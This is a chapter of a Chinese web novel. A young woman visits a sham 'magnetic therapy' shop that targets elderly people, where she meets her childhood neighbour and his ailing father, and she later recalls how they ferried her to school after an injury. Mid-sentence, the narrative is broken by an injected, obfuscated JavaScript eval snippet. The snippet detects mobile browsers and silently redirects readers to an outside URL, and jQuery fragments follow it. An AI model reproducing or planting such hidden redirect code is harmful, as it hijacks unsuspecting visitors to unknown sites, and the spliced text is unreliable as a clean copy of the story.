又过了十多分钟，才排到常乐。
姥姥向门口负责登记的男店员介绍她：“这是我外孙女，第一次来，今天还能领鸡蛋吧？”
“可以的。”店员递来一本登记簿，彬彬有礼地说，“麻烦你在这里填写姓名和电话。”
常乐拿起笔，在本子上填好自己的信息，然后领到了一张小卡片和一小袋鸡蛋。
卡片正面印着公司名，反面是一张表格。店员在第一格盖了个黄豆大小的印章，并介绍道：“新用户可以免费体验三十次。满十次可以领一袋卫生纸，满二十次可以领一袋米，满三十次能领一个价值1299的电饭煲哦。”
常乐狐疑地挑起眉。不仅全程免费，还有阶段性奖励，这是纯做慈善啊。
“那你们怎么赚钱？”
店员笑眯眯地说：“公司董事长为了回馈社会，发起了这项公益活动，旨在为老年人提供全面安心的健康服务，不收取任何费用哦。”
常乐一针见血：“我又不是老年人。”
店员面不改色：“您是老年人的家属，一样可以享受优待。”
……真够扯的。
常乐冲他点点头：“那可真是太感谢你们了。”
她推开玻璃门进店，环视一圈。前厅不大，陈设简单，一目了然——几十张椅子排列整齐，面朝讲台，跟听讲座似的。每张椅子上都铺着一块黑色方形坐垫，垫子之间连着电线，还有一些小零件挂在椅背。
空位不多，最后一排有两个，正好在易诚的左后方。
那她就不客气了。
常乐领着姥姥坐下，好奇地东张西望——两侧墙上挂着宣传板，写着什么“红外磁电的十大功效”“健康养生的八大秘诀”之类的，正面墙上有个大屏幕，正在播放一个戴眼镜的白发老头的采访视频：“经科学研究表明，红外磁电能有效抑制癌细胞……”
常乐冷嗤一声。
前排，易诚微微偏了偏头，耳根连着脖子泛起了一层浅红。
“哎，小易啊。”姥姥突然开口。
易诚终于回头，恭敬地喊了声：“李奶奶。”
“没，我在喊你爸呢。”姥姥拍了拍易诚左边男人的肩膀，笑着说，“志刚啊，你来得比我都勤。”
男人缓慢地转过头，冲姥姥咧嘴一笑，喉咙里发出断断续续的声音：“嗯，我每天……都来……”
常乐这才发现，这个佝偻的老头竟是易叔叔。
上次见他，他的头发还没有全白，身形也比现在魁梧。一年时间，他苍老了好多。
惊愕的表情只在脸上停留了一秒。她迅速调整笑容，跟他打招呼：“易叔叔好。”
易叔叔将目光转向她，神色有些疑惑，张了张嘴，发出含糊的声音：“啊，你是……”
“我是常乐。”常乐主动接话，“以前你还骑摩托送我上学呢。”
易诚视线低垂，解释道：“他的记忆力越来越差，很多事都忘了。”
姥姥叹了口气：“唉，这个病就是这样……好在他还年轻，坚持治疗，经常锻炼，康复的希望还是很大的。”
常乐忍不住插话：“治疗也得去专业的机构啊，你来这里——”她瞟了瞟四周，压低声音，“没用啊，明摆着是骗钱的。”
易诚眼睫微抬，与她视线相接。
二十五岁的男孩，眼底已初显疲态，额前凌乱的头发又添几分颓色。
“我知道，医院的康复训练每周都会去，可我爸就信这个。”易诚无奈地笑了笑，“医生说他得多走动，不然身体会越来越差，但他又不喜欢出门……来这里他倒是愿意，所以我每天带他来做两次，一来一回的，就当锻炼了。”
常乐仍不放心，提醒道：“来做做可以，但是千万别花钱——”
话未说完，一道清亮的女声插了进来：“呀，干爸，早上好啊！昨晚睡得还好吧？”
常乐回过头，一个齐耳短发的年轻女店员从两排座椅间挤了进来，笑盈盈地跟易叔叔打招呼。
常乐斜乜着易诚，用嘴型问：“干爸？”
易诚面露窘色，小声解释：“我爸是他们的重点推销对象。”
短发女依次给易叔叔和易诚打开设备。看到后排的姥姥，她又扬起笑脸，招呼道：“李婆婆，早上好啊。哎哟，您可太勤快了，每天都准时准点到。昨天跟您推荐的按摩枕，您考虑得怎么样了？三千八一个，您带两个，我给您申请个内部折扣价——”
姥姥嚷嚷道：“啊？听不见，你说大点声！”
常乐的耳膜差点震破了。
转头一看，姥姥已经提前摘下了助听器。刚刚的一顿推销全说给空气听了。
短发女脸色讪讪的，起身正要离开，姥姥又是一嗓子：“你倒是给我开开啊！”
应付完姥姥，她又转向常乐，将两只带电线的夹子分别夹在常乐的两根食指上。
“美女是第一次来吧？”她问，“之前有体验过我们的红外磁电脉冲治疗仪吗？”
常乐摇摇头。
“那我给您开低档，您先感受一下。”说罢，短发女打开底下的开关。
霎时，常乐感觉指尖像被蚂蚁叮咬，蹿起一丝丝刺痒，紧接着，大腿和后背也泛起一股酥麻感。
身上越来越痒，又没法抓，常乐只好学狗熊蹭树，在椅背上蹭来蹭去。
短发女急忙制止她：“痒是正常的，慢慢习惯就好了。还什么不舒服的感觉吗？”
常乐点点头，认真地说：“饿。”
易诚扑哧一下笑出了声。
“……”短发女反应很快，“哦，觉得饿也是很正常的，因为磁电会加速肠道蠕动，促进消化……”
叽里呱啦说了一堆，常乐一句没听进去，心里只有她的牛肉粉。
十五分钟的免费体验很快结束，常乐挽着姥姥出门，又看见短发女在门口迎来送往。
“张叔叔，早啊，快里面请！”“王奶奶，您又来了？今天怎么来迟了点？”“干妈，您可算来了！快进来坐坐！”……
易诚搀着易叔叔出来时，她一个箭步冲上去，扶住易叔叔的另一只胳膊，语气格外热情：“干爸，您慢点走，下午记得再来啊！”
常乐不禁感叹：“这就是传说中的社牛吗？”
恐怖如斯啊。
姥姥又戴上了助听器，说：“要不人家怎么能当销冠呢。”
常乐八卦心起，小声问：“她一个月能赚多少？”
“这我不清楚。我只知道，光是咱们小区，她就有七个干妈，五个干爸。”
常乐啧啧称奇。
果然，这钱也不是谁都能赚的。
--
跟易诚在小区门口分别后，常乐和姥姥直奔菜市场外的早餐店，坐在门口的小折叠桌旁，一边喝热豆浆，一边等牛肉粉上桌。
姥姥突然叹了口气：“易志刚也真是可怜，才五十多岁就中风了，康复训练做了两三年，连句囫囵话都说不清楚，记性也差了好多……”
常乐低头啜着豆浆，过了会儿，才闷闷地说：“易叔叔人挺好的。”
她记得，易诚小时候老闯祸，每次都被易叔叔揪着耳朵去给人赔礼道歉。
易诚炸掉她羽绒服的第二天，易叔叔跑遍全城，给她买了件一模一样的。
她被轮滑撞飞那次，易叔叔付完医药费，还掏出一万块钱作为赔偿。林文娟坚决不肯收，她说父子俩相依为命不容易，易诚也不是故意的，不能全怪他……
两家你来我往、推来搡去，最后还是姥爷做主，让易叔叔把钱拿回去，给孩子买点补品就行。
沉默良久，姥姥又叹气道：“易诚这孩子也可怜。你对人家好点，别老欺负他。”
“……”常乐觉得莫名其妙，“我怎么了？我对他挺好的啊，一没打他二没骂他，怎么就欺负他了？”
“你每次见到他，就跟旧社会的地主见了长工一样，说话那口气那态度，就像是他欠你的。”
“他就是欠我的啊。”常乐拍了拍自己的屁股，“现在每逢刮风下雨天还隐隐作痛呢。”
“哎呀呀呀，都多少年前的事了，还成天挂在嘴边。”姥姥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585069|171701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无语地翻白眼，“谁让你那时候天天戴着耳机的？滑轮声音那么大，一般人早就躲开了，你倒好，闭着眼睛走路，还左摇右晃。他从岔路拐过来，根本刹不住嘛。哎唷，不就是摔了一跤嘛，养几天就好了，至于记恨一辈子吗？”
“那可不是几天啊。”常乐振振有词，“那几个月，我都坐不了凳子，只能撅着屁股上课。我的屁股翘得都能顶起一桶桶装水了！”
姥姥捂着脸哈哈大笑。
常乐后来发现，练就撅屁股神功也有个好处——每次在公众场合上厕所，其它女孩宁愿排长队等蹲坑也不愿坐马桶，她无所谓，大大方方地走进去，清清爽爽地走出来，拂一拂裙摆，不带走一滴污渍。
只可惜，这个技能适用范围有限，也没法到处炫耀。它带来的好处跟她当年受到的伤害相比，简直不值一提。
常乐继续控诉：“你知道我上一堂课有多累吗？撅累了我就蹲马步，蹲累了就站起来，站累了就趴桌上，几个姿势来回换，老师都看烦了，把我调到边角料的位置，眼不见为净。”
她越说越激动：“你知道这对我的学习影响有多大吗？我期中考年级排三百一十二名，期末就掉到了三百六十八名！”
“小点声！”姥姥嫌丢人，用手挡着脸，“三百多名，有必要记那么久吗？”
热腾腾的牛肉粉端上了桌。
常乐放下苦大仇深，埋头沉浸式吃面。
姥姥夹起几片牛肉扔她碗里，慢悠悠地说：“而且，人家父子对你不好吗？零食水果没断过，周末还给你熬骨头汤，你那几个月胖了多少？”
常乐哼嗤一声。
还说呢。中考结束后，她跳了两个月的绳，才勉强回到原来的体重。
“为了接送你上学，易志刚还把他那辆摩托车拿去改装，安了个车斗，让你坐里面——”
“蹲——里面。”常乐纠正她。
“管你坐着还是蹲着，反正，人家对你已经仁至义尽了。”
常乐撇着嘴，继续在碗里找牛肉。
提前那辆摩托车，她的心情有些复杂。
她上初中那会儿，家里还没买车，平时都是坐公交车上学。尾椎受伤后，不能久站或长坐，走路都得撅着屁股扶着腰，公交车又慢又颠，简直要把她颠得上下分离。
易叔叔便想了个法子：他给自己的摩托车右边焊了个挎斗，拆掉里面的座椅，铺上厚厚的垫子，让常乐蹲在里面，易诚坐在摩托车后座。
引擎轰响，三个人上路了。
一开始，常乐还觉得挺拉风。尤其是每当摩托车停在校门口时，总会引来无数好奇的目光，她感觉自己就像偶像剧里的大小姐，在众人的惊叹声中华丽丽地登场。
直到一周后，她正要从挎斗里下来，班里一个嘴贱的男同学路过，阴阳怪气地叫道：“哟，太君来了！”
周围同学哄然大笑，常乐的脸霎时滚烫。
虽然这个绰号没有在班里流传开来，但那个男生上了常乐的此生必杀榜，位列第二。
老天有眼，几天后，那男生下楼时，不知是赶时间还是想耍帅，一步飞跨五个台阶，然后在众目睽睽之下摔了个狗吃屎。
同桌赶紧冲进教室，给常乐报喜。常乐笑得幸灾乐祸，恨不能冲出校园买鞭炮庆祝。
虽然大仇得报，但常乐对这个绰号有了心理阴影。她拒绝再蹲挎斗。
易家父子犯了难，头脑风暴了一夜，提出几条替代性方案，比如租一辆三轮车，或者买个带轮子的担架，或者去超市借一辆购物车，或者让常乐站在滑板上，手牵着绳子，绳子另一头拴在易诚的自行车后座上……
常乐觉得他俩更适合去农村收猪。
讨论到最后，终于有了个靠谱的计划：给易诚的自行车后轮毂中间焊两个踏板，让常乐踩在上面。
自行车改造工程耗时一晚。
第二天一早，常乐就踏上了自己的新坐骑。
她扶着少年单薄的肩，指尖不敢乱动，心却怦怦乱跳。
拂面而来的，是十五岁清晨的风。